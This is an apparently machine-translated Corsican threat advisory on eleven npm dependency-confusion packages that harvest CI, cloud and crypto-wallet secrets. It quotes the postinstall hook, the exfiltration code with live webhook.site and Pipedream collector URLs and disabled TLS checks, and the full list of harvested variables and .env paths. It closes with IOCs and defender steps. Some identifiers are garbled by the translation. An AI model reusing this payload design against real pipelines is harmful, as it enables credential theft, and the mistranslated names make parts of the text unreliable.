Cunfusione CryptoDAO: Raccolta di pacchetti npm CI/CD è Sicreti Criptografici

Cunfusione CryptoDAO: undici pacchetti npm, un payload, raccolta CI/CD è i sicreti di i portafogli criptografici

TL; DR

U 17/06/2026, un unicu contu npm hè statu publicatu. undici pacchetti chì spartenu un scopu è un payloadDeci di elli portanu u cryptodao- prefissu (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); l'undicesimu hè quellu cù scopu @public-for-cdao/coreOgnunu hè statu publicatu à a versione 99.99.99 è spedisce un byte identicu recon.js chì corre postinstall.

I nomi sò l'indicatore. Si leghjenu cum'è i blocchi di custruzzione interni di a catena di strumenti privata di un prughjettu crypto/DAO. Publicati in u registru publicu npm in una versione artificialmente alta, stanu in attesa di una custruzzione. pipeline chì hè cunfiguratu per risolve quelli nomi è chì ghjunghje à u npm publicu prima - o invece di - u registru privatu. Questu hè cunfusione di dipendenza, è a carica utile hè sintonizzata per esattamente induve si prevede di atterrà: CI/CD i corelli.

quandu postinstall incendi, recon.js raccoglie i dettagli di l'ospite, spazza grossolanamente quaranta variabili d'ambiente di nuvola, CI è cripto-portafogliu, leghje qualsiasi .env i fugliali ch'ellu pò truvà è trasmette e linee chì portanu sicreti parola per parola, poi trasmette u fasciu à dui cullettori - webhook.site è un endpoint Pipedream - cù a verificazione di u certificatu TLS disattivata. Una copia hè ancu scritta sottu /tmp.

Severità: altuEcosistema affettatu: npmTutti l'undici pacchetti eranu in diretta à u mumentu di a scrittura.

Anatomia di l'attaccu

U mecanismu hà quattru parti mobili, è nisuna di elle hè suttile una volta chì sapete cumu fà. fighjate un stratu dopu u nome di u pacchettu.

1. Inflazione di versione cum'è esca per risolutori. Ogni pacchettu dichjara a versione 99.99.99A cunfusione di dipendenza funziona quandu un gestore di pacchetti hà dumandatu un nome internu, verifica ancu u registru publicu è sceglie a versione più alta finds. A selezzione predefinita di npm per un intervallu di caret o jolly hè u versione più soddisfacente in ogni fonte cunfigurata; se tramindui un privatu U registru è a risposta npm publica per u listessu nome, u numeru di versione più grande vince. A 99.99.99 supera essenzialmente qualsiasi versione interna reale chì un prughjettu averà righjuntu, dunque un risolutore chì ùn hè micca attaccatu à a fonte privata preferisce u copia publica - è in questu casu, ostile. L'operatore ùn hà micca bisognu di cunnosce u i numeri di versione reale di u target; sceglie un massimu assurdu garantisce sempre u ligame rompe a so strada.

2. Un trigger di postinstallazione. package.json cabla u payload à l'installazione ciclu di vita:

{   "scripts": { "postinstall": "node recon.js" } }

Nisuna impurtazione di u pacchettu hè necessaria. Basta à installallu - chì un CI pipeline face automaticamente - funziona recon.js.

3. Una vasta indagine secreta. recon.js assembla un array di risultati in tappe:

  • Cuntestu di l'ospite: nome di l'ospite, piattaforma è versione, architettura, nome d'utilizatore, funziunamentu catalogo.
  • Variabili d'ambiente: itereghja una lista fissa di circa quaranta nomi è registri tutti quelli chì sò impostati. A lista hè rivelatrice - accoppia gettoni CI generici (CI_JOB_TOKEN, PASSWORD_DI_REGISTRO_CI, GITLAB_ACCESS_TOKEN) è nuvola credenziali (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) cù i sicreti di u registru è di u container (NPM_TOKEN, PASSWORD_DOCKER, HARBOR_PASSWORD) è un cluster distintamente crittograficu:  CHIAVE_PRIVATA, MNEMONICU, FRASE_SEME, CHIAVE_API_INFURA, CHIAVE_API_ALCHIMIA, ETH_RPC, BSC_RPCI valori arregistrati sò troncati à i primi 50 caratteri.
  • .env fugliali: sonda una lista di percorsi — .env, ../.ambiente, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, e lu .produzzione/.sviluppu varianti - è per qualsiasi schedariu chì esiste, hè filtra u cuntenutu à e linee chì currispondenu CHIAVE|SICRETU|GETTONE|PASS|PRIVATU|MNEMONICU è spinge quelle linee **per interu, senza troncamentu** in i risultati.
  • Cuntestu Build-host: elenca e prime 20 entrate di /custruisce/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, e /tmp/.

A lista di percorsi è a lista di variabili sò ponderate versu i corridori GitLab, chì punta u payload direttamente nantu à l'infrastruttura CI autoospitata piuttostu chè un sviluppatore laptop. U raggruppamentu di a lista di a racolta per categuria rende chjaru u trasportu previstu:

Catigurìa Variabili / percorsi raggiunti
CI/CD identità è implementazione CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
ghjuvan battista AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registru è cuntenitore NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Magazzini di dati DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Criptovaluta / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messageria SLACK_TOKEN, DISCORD_TOKEN
Nantu à u discu .env famiglia + /home/gitlab-runner/.env, /root/.env, /app/**/.envelenchi di u cartulare di /builds/, /var/lib/gitlab-runner/

U cluster di criptografia hè a parte chì distingue questu da un CI-secret genericu. sweep: e frasi di seed di u portafogliu è e chjave di firma cumpariscenu solu in l'ambiente di un prughjettu blockchain, è si mappanu direttamente nantu à u criptodao-/scritta/contratti numinazione di i trasportatori.

4. Doppia esfiltrazione cù verificazione disattivata. L'array raccoltu hè serializatu è inviatu à duie destinazioni:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

ricusàSenza autorizazione: falsu disattiva i cuntrolli di certificatu TLS per l'in uscita chjamate. I stessi dati sò stampati in stdout (cusì sbarcanu ancu in i registri di u travagliu CI) è scrittu à /tmp/.npm_recon_ .jsonL'errori sò inghjuttiti in silenziu, dunque un L'inviu fallitu ùn lascia alcuna traccia in l'output di l'installazione oltre à una sola [ricunniscenza] installatu annantu ligna.

Un cummentariu principale in u schedariu u descrive cum'è una "Cunfusione di Dipendenza" Caricu di Ricognizione." A truncatura di i valori di l'ambiente à 50 caratteri hà a forma di una prova di cuncettu. Ciò chì a move oltre un faro di sola presenza hè u .env gestione: e linee chì portanu secreti sò trasmesse per interu, è e destinazioni sò dui cullettori cuntrullati da l'attaccanti chì funzionanu invece di un lavandinu chì conta solu colpi.

Timeline

U mudellu di publicazione hè a firma di una sola spinta scritta, micca undici caricamenti indipendenti.

Ora (UTC, 2026-06-17) Event
03:24:58 cryptodao-bot@99.99.99 publicatu
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variante cù scopu, ~24 min dopu

Dece pacchetti sò surtiti in un intervallu di 29 secondi, circa unu ogni trè secondi. U scopu @publicu-per-cdao/core seguitatu circa 24 minuti dopu - un secondu cunvenzione di denominazione per u listessu scopu, in casu chì u prughjettu cunsumatore faci riferimentu à catena di strumenti interna sottu un scopu piuttostu chè cum'è nomi nudi.

Indicatori di compromessi

Type pressure
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Installà u ganciu postinstall: node recon.js
File abbandunatu /tmp/.npm_recon_<timestamp>.json
Marcatore di troncu [recon] <pkg>@<ver> installed on <hostname> (stdout in i logs CI)
Comportamentale rejectUnauthorized: false nantu à HTTPS in uscita durante l'installazione
Carica utile recon.js, identicu in tutti l'undici pacchetti (una custruzzione spartuta)
Version 99.99.99 nantu à ogni pacchettu
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tutti 99.99.99)
Publisher aduljune / aduljune@proton.me (email micca verificatu, nisun repositoriu di fonte ligatu)

 Attribuzione è cumpurtamentu osservatu

Tuttu ciò chì riguarda u cluster punta à una manu. Tutti l'undici pacchetti sò stati publicati. da u contu npm aduljune (aduljune@proton.me, un indirizzu micca verificatu senza repositoriu di fonte culligatu), in un intervallu di 25 minuti, à u listessu tempu 99.99.99 versione, spedizione di un recon.js u so cuntenutu hè identicu byte per byte in ogni pacchettu (MD5 currisponde à tutte l'undici copie estratte). Quella hè una carica utile stampatu nantu à una lista di nomi, micca un riutilizazione di codice indipendente.

A lista di nomi definisce u scopu previstu. criptu-* e cdao discrivi u layout di moduli privati ​​di un prughjettu crypto/DAO, è a lista di raccolta di u payload specchi chì indovinanu: accantu à i sicreti generichi di CI è di nuvola, specificamente raggiunge per CHIAVE_PRIVATA, MNEMONICU, FRASE_SEME, è Ethereum/BSC RPC è chjave di u fornitore. U .env I percorsi di ricerca è l'elenchi di cartulari sò GitLab-runner specificu. L'effettu osservabile hè chì qualsiasi pipeline ingannatu à stallà questi i nomi trasmetteranu i so gettoni CI, e chjave di nuvola è i dati nantu à u discu .env sicreti - è, per un prughjettu blockchain, u so materiale di portafogliu - à dui cullezzione di terze parti.

Ùn facemu alcuna dichjarazione nantu à quale gestisce u contu o ciò chì avianu previstu di fà cù u dati. I fatti chì stanu per sè stessi: i nomi miranu à un tipu specificu di catena di strumenti interna, u payload legge è trasmette valori secreti veri, è u l'infrastruttura era in diretta.

Impattu, tendenze è guida di difensore

Cunfusione di dipendenza ferma efficace perchè sfrutta u cumpurtamentu di u risolutore, micca un vulnerabilità in ogni pacchettu. U trasportatore quì hè triviale - undici quasi vioti pacchetti - ma u raghju di l'esplosione hè qualunque pipeline preferisce erroneamente npm publicu per un nome internu. I corridori CI sò u peghju locu per chì questu accada: tenenu esattamente i gettoni è .env i fugliali chì sta carica legge, è l'installanu dipendenze in modu micca interattivu, dunque a postinstallazione corre senza chì nimu ùn li guardi.

Stu cluster currisponde ancu à un mudellu chì vedemu sempre: carichi utili in tempu d'installazione chì presentanu cum'è "ricerca" o "ricognizione" mentre si face una vera raccolta di credenziali. L'etichetta in u schedariu ùn cambia micca ciò chì u codice face nantu à un corridore. Dui scelte di cuncepimentu mantenenu l'attività tranquilla: ogni operazione di rete è di sistema di fugliali hè avvolta in un gestore d'eccezioni chì scarta l'errori, dunque un inviu bluccatu o un schedariu mancante ùn produce micca output diagnosticu, è l'unica cosa stampata hè un unicu innocu [ricunniscenza] … installatu linea chì si mischia cù u chatter d'installazione nurmale. L'usu di webhook.site è Pipedream hè ancu una cunvenienza deliberata - tramindui sò gratuiti, servizii di cattura di richieste furniti istantaneamente, cusì l'operatore ùn hà bisognu di servitori di i so propri è e destinazioni parenu nomi di host SaaS ordinari in i logs di uscita.

L'ecunumia hè ciò chì face chì questu degne di l'attenzione di un difensore ancu s'è U codice di u trasportatore hè triviale. A registrazione di undici nomi ùn costa nunda, u payload hè unu schedariu copiatu ondeci volte, è u gestore di pacchetti face tutta l'esecuzione. Un solu misconfiguratu pipeline In ogni locu chì cunsuma unu di sti nomi paga per tuttu funziunamentu.

Passi concreti per i difensori:

  • Aggiungete l'ambiti interni à u vostru registru privatu. Cunfigurà npm cusì nomi interni
     è i scopi si risolvenu solu contr'à u vostru registru (mappature di u registru .npmrc cù ambitu,
    o un proxy chì ùn casca mai in npm publicu per i spazii di nomi pusseduti). Riservate i vostri nomi di scopu publicu in modu chì nimu altru ùn li possi registrà.
  • Commit lockfiles è stallazione cù –ignore-scripts in CI induve pussibule, o verificate u picculu inseme di dipendenze chì anu veramente bisognu di scripts d'installazione.  recon.js ùn pò micca esse eseguitu se postinstallazione ùn hè micca eseguitu.
  • Trattate una versione à 99.99.99 (o altra versione assurdamente alta) di un nome chì pare internu cum'è una bandera rossa in a rivista di e dipendenze è u monitoraghju di u registru.
  • Avvisu à l'uscita in tempu d'installazione. A postinstallazione chì apre un HTTPS in uscita cunnessione - in particulare cù a verificazione di certificatu disattivata - à webhook.site, Pipedream, o simili servizii di cattura di richieste valenu a pena di esse bluccati à a periferia di a rete è segnalati in i registri di compilazione.
  • Caccia à l'artefatti. Verificate i corridori /tmp/.npm_recon_*.json è per u [recon] ... installatu u ... marcatore in i registri CI recenti. S'ellu hè truvatu, rote ogni credenziale esposta à quessa pipeline — Gettoni CI, chjave di nuvola, gettoni di registru, è qualsiasi seed di portafogliu o chjave privata prisente in l'ambiente o in i fugliali .env.

Vede ancu

Nisun rapportu esternu nantu à questu cluster esisteva à u mumentu di a scrittura; l'analisi sopra hè basatu direttamente nantu à u cuntenutu di u pacchettu publicatu

sca-tools-software-strumenti-d'analisi-di-cumpusizione
Priorizà, rimedià è assicurà i vostri risichi di software
Uttene u vostru contu gratuitu.
Nisuna carta di creditu necessaria.

Assicurà u vostru sviluppu è a consegna di software

cù a Suite di Prodotti Xygeni